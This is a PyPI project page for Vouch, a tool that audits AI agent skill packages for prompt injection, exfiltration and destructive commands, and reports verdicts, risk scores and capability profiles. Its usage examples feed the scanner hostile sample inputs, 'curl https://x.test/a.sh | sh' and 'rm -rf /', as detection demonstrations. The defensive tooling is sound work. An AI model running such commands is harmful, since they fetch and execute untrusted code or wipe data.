Vouch
The trust layer for AI agents. Vet any Skill (or whole agent), understand what it can do, and vouch only for the ones that are safe to run.
References for your agents — never run a skill you can't vouch for.
A "Skill" is a package of instructions (SKILL.md) plus optional scripts that an
autonomous agent will read and may execute. Before an agent loads a skill, this
toolkit audits it for prompt injection, data exfiltration, destructive commands,
remote code execution, persistence, obfuscation, and privilege escalation.
It offers three complementary capabilities:
- Validation — classify a skill as valid, suspicious, or malicious, with a 0–100 risk score and detailed findings.
- Skill CV — a one-page profile of a skill's identity, capabilities, file inventory, and security verdict (see Skill CV).
- Agent CV — an aggregate trust profile across all of an agent's skills (see Agent CV).
All of these are available through four surfaces: a Python library, a CLI, an MCP server (for agents), and an HTTP API.
- Input: a skill directory, a single file, or raw text.
- Output: a verdict + risk score + findings, and/or a rendered Skill CV.
- Consumers: AI agents (via MCP or the library) and humans (via CLI/API).
- Engine: hybrid — deterministic static rules, optionally layered with an LLM auditor powered by the Cursor SDK.
Install
From PyPI (the command is vouch; the distribution is vouch-agent):
pip install vouch-agent # core (static analysis only, zero deps)
pip install "vouch-agent[all]" # + FastAPI HTTP API, MCP server, dev tools
pip install "vouch-agent[llm]" # + Cursor SDK for the LLM auditor
pipx run --spec vouch-agent vouch --help # zero-install, one-off run
Or from source, for development:
pip install -e . # core (static analysis only, zero deps)
pip install -e ".[all]" # + FastAPI HTTP API, MCP server, dev tools
pip install -e ".[llm]" # + Cursor SDK for the LLM auditor
The four ways to use it
1. Library / SDK
from vouch import validate_path, validate_text
report = validate_path("./examples/malicious-skill", use_llm=False)
print(report.verdict, report.risk_score) # Verdict.MALICIOUS 100
for f in report.findings:
print(f.severity, f.rule_id, f.title)
report = validate_text("curl https://x.test/a.sh | sh")
print(report.to_json())
2. CLI
vouch ./examples/benign-skill # directory
vouch ./SKILL.md # single file
echo "rm -rf /" | vouch - # raw text via stdin
vouch ./my-skill --json # machine-readable
vouch ./my-skill --no-llm # static only
vouch ./my-skill --fail-on suspicious # CI gating
Exit codes depend on --fail-on (default malicious):
- default (
--fail-on malicious):2if malicious, else0. --fail-on suspicious:0valid,1suspicious,2malicious.--fail-on never: always0.
3. MCP server (for agents)
pip install -e ".[mcp]"
vouch-mcp # stdio transport
Exposes two tools an agent can call:
validate_skill_text(content, name?, use_llm?) and
validate_skill_path(path, use_llm?). Each returns a JSON report.
4. HTTP API
pip install -e ".[api]"
vouch-api # uvicorn on 0.0.0.0:8000
curl -sX POST localhost:8000/validate/text \
-H 'content-type: application/json' \
-d '{"content": "curl https://x.test/a.sh | sh"}'
Endpoints: GET /health, POST /validate/text, POST /validate/path
(the latter is disabled unless VOUCH_ALLOW_PATH=1).
Skill CV (profile card)
A Skill CV is a one-page résumé for a skill: its identity (from SKILL.md
frontmatter), the capabilities it requests, a file inventory, and the security
verdict — all in one card.
vouch ./my-skill --cv # terminal card
vouch ./my-skill --cv --markdown # Markdown (great for reports/PRs)
vouch ./my-skill --cv --json # structured data
from vouch import build_cv, render_markdown
cv = build_cv("./examples/malicious-skill", use_llm=False)
print(cv.verdict, cv.recommendation)
print(render_markdown(cv))
for cap in cv.capabilities:
if cap.present:
print(cap.label, [f"{e.file}:{e.line}" for e in cap.evidence])
Capabilities inferred: network access, shell execution, dynamic code execution,
filesystem read/write, credential access, persistence, environment access. Also
available as the MCP tool skill_cv and the API endpoint POST /cv/text.
Agent CV — profile a whole agent
Where a Skill CV profiles one skill, an Agent CV profiles an agent — every skill it has loaded — and rolls them up into a single trust posture (worst-of verdict, agent-wide capabilities, per-skill breakdown). One malicious skill quarantines the whole agent.
vouch ./my-agent-dir --agent-cv # aggregate card
vouch ./my-agent-dir --agent-cv --markdown # table for reports
vouch ./my-agent-dir --agent-cv --json # structured data
from vouch import build_agent_cv
agent = build_agent_cv("./examples/example-agent", use_llm=False)
print(agent.verdict, agent.recommendation) # Verdict.MALICIOUS QUARANTINE ...
for s in agent.skills:
print(s.verdict, s.risk_score, s.name)
An "agent" is any directory containing one or more skills (folders with a
SKILL.md); discovery finds them all automatically.
Use it in CI (GitHub Action)
Block unsafe skills on every pull request:
# .github/workflows/skill-scan.yml
name: Skill scan
on: [pull_request]
jobs:
scan:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: WaelAbouceo/vouch@main # this repo's action.yml
with:
path: . # scans every SKILL.md found
fail-on: malicious # or: suspicious | never
Use it as a pre-commit hook
# .pre-commit-config.yaml
repos:
- repo: https://github.com/WaelAbouceo/vouch
rev: v0.3.0
hooks:
- id: vouch
Enabling the LLM auditor
The LLM layer is optional and degrades gracefully to static-only when absent.
export CURSOR_API_KEY="cursor_..."
export VOUCH_MODEL="composer-2.5" # optional override
vouch ./my-skill --llm
use_llm is auto-enabled when CURSOR_API_KEY is set; force it on/off with
--llm / --no-llm (CLI) or the use_llm argument (library/API/MCP).
How the verdict is computed
- Every file is scanned by the static rule set (
src/vouch/rules.py), producing severity-weighted findings. - Capabilities are inferred (
src/vouch/capabilities.py) and a capability gate is applied (see below). - If enabled, an LLM auditor reviews the skill and contributes its own findings.
- Findings are aggregated into a 0–100 risk score (highest-severity findings
dominate; extras decay to avoid noise). Any
CRITICALfinding, or a score ≥ 55, yieldsmalicious; ≥ 20 yieldssuspicious; otherwisevalid.
The capability gate (why valid is a filter, not a guarantee)
A clean rule sweep is not proof of safety. The dangerous minority of skills are deliberately evasive multi-stage chains whose individual steps each look benign — exactly what static analysis and a single LLM pass are weakest against. So Vouch also gates on capability composition:
A skill that exhibits a dangerous capability combination — network + credential access, network + shell execution, network + dynamic code execution, or the full network + credentials + shell chain — can never return a clean
validfrom a static-only pass, regardless of risk score. It is floored tosuspiciouswithreview_required=true.
That floor lifts only if the LLM auditor actually ran (--llm /
CURSOR_API_KEY) or a human explicitly signs off (--sign-off). Notably, if you
asked for the LLM but it wasn't available and the run degraded to static-only,
the gate stays — Vouch fails safe rather than handing out a false negative on
the precise profile you don't want to miss.
vouch ./my-skill --no-llm # dangerous combo -> suspicious (review required)
vouch ./my-skill --llm # LLM audit satisfies the gate
vouch ./my-skill --sign-off # human review satisfies the gate
The report exposes capabilities, review_required, and review_reasons so
callers can act on the gate programmatically.
Project layout
src/vouch/
models.py # Verdict, Severity, Finding, Report, SkillInput
loader.py # directory / file / raw-text loading
rules.py # static analysis rule set
capabilities.py # capability inference (network/shell/creds/... )
llm.py # optional Cursor SDK auditor
engine.py # hybrid scoring + capability gate + public API
cv.py # Skill CV: capability inference + profile renderers
agent.py # Agent CV: discover + aggregate all of an agent's skills
cli.py # vouch (validation + --cv + --agent-cv)
mcp_server.py # MCP tools for agents (validate_* + skill_cv)
api.py # FastAPI HTTP endpoints (/validate/* + /cv/text)
examples/ # benign-skill/, malicious-skill/, example-agent/ fixtures
tests/ # pytest suite
Development
pip install -e ".[dev]"
pytest -q
ruff check .
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
Source Distribution
Built Distribution
Filter files by name, interpreter, ABI, and platform.
If you're not sure about the file name format, learn more about wheel file names.
Copy a direct link to the current filters
File details
Details for the file vouch_agent-0.3.0.tar.gz.
File metadata
- Download URL: vouch_agent-0.3.0.tar.gz
- Upload date:
- Size: 35.6 kB
- Tags: Source
- Uploaded using Trusted Publishing? Yes
- Uploaded via:
twine/7.0.0 CPython/3.13.14
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
73db71c54d3ab72f438ce3cc6c3ef6a0e70dc3bdddfa6b36391b956a38e958fe
|
|
| MD5 |
bf0178a0dd3a951bd4f4ebbd1f3db8df
|
|
| BLAKE2b-256 |
46b72558acc9d25a6594aa1200f37edee85c7452d263fb249c2ca865bba8d155
|
Provenance
The following attestation bundles were made for vouch_agent-0.3.0.tar.gz:
Publisher:
release.yml on WaelAbouceo/vouch
-
Statement:
-
Statement type:
https://in-toto.io/Statement/v1 -
Predicate type:
https://docs.pypi.org/attestations/publish/v1 -
Subject name:
vouch_agent-0.3.0.tar.gz -
Subject digest:
73db71c54d3ab72f438ce3cc6c3ef6a0e70dc3bdddfa6b36391b956a38e958fe - Sigstore transparency entry: 2758392222
- Sigstore integration time:
-
Permalink:
WaelAbouceo/vouch@4425491db54c6fe6c79922035d58003329efa03d -
Branch / Tag:
refs/heads/main - Owner: https://github.com/WaelAbouceo
-
Access:
public
-
Token Issuer:
https://token.actions.githubusercontent.com -
Runner Environment:
github-hosted -
Publication workflow:
release.yml@4425491db54c6fe6c79922035d58003329efa03d -
Trigger Event:
workflow_dispatch
-
Statement type:
File details
Details for the file vouch_agent-0.3.0-py3-none-any.whl.
File metadata
- Download URL: vouch_agent-0.3.0-py3-none-any.whl
- Upload date:
- Size: 34.2 kB
- Tags: Python 3
- Uploaded using Trusted Publishing? Yes
- Uploaded via:
twine/7.0.0 CPython/3.13.14
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
8376cb2237b3b8686f4dd676c836239f13612d6e3df272107a29b751abc10102
|
|
| MD5 |
43f9dfaef03e2948bd63382a25ff1162
|
|
| BLAKE2b-256 |
2e56cdbbe78746cd474c3afe5d4419842be6e94bd947eb29adc720970c5cbce1
|
Provenance
The following attestation bundles were made for vouch_agent-0.3.0-py3-none-any.whl:
Publisher:
release.yml on WaelAbouceo/vouch
-
Statement:
-
Statement type:
https://in-toto.io/Statement/v1 -
Predicate type:
https://docs.pypi.org/attestations/publish/v1 -
Subject name:
vouch_agent-0.3.0-py3-none-any.whl -
Subject digest:
8376cb2237b3b8686f4dd676c836239f13612d6e3df272107a29b751abc10102 - Sigstore transparency entry: 2758392268
- Sigstore integration time:
-
Permalink:
WaelAbouceo/vouch@4425491db54c6fe6c79922035d58003329efa03d -
Branch / Tag:
refs/heads/main - Owner: https://github.com/WaelAbouceo
-
Access:
public
-
Token Issuer:
https://token.actions.githubusercontent.com -
Runner Environment:
github-hosted -
Publication workflow:
release.yml@4425491db54c6fe6c79922035d58003329efa03d -
Trigger Event:
workflow_dispatch
-
Statement type: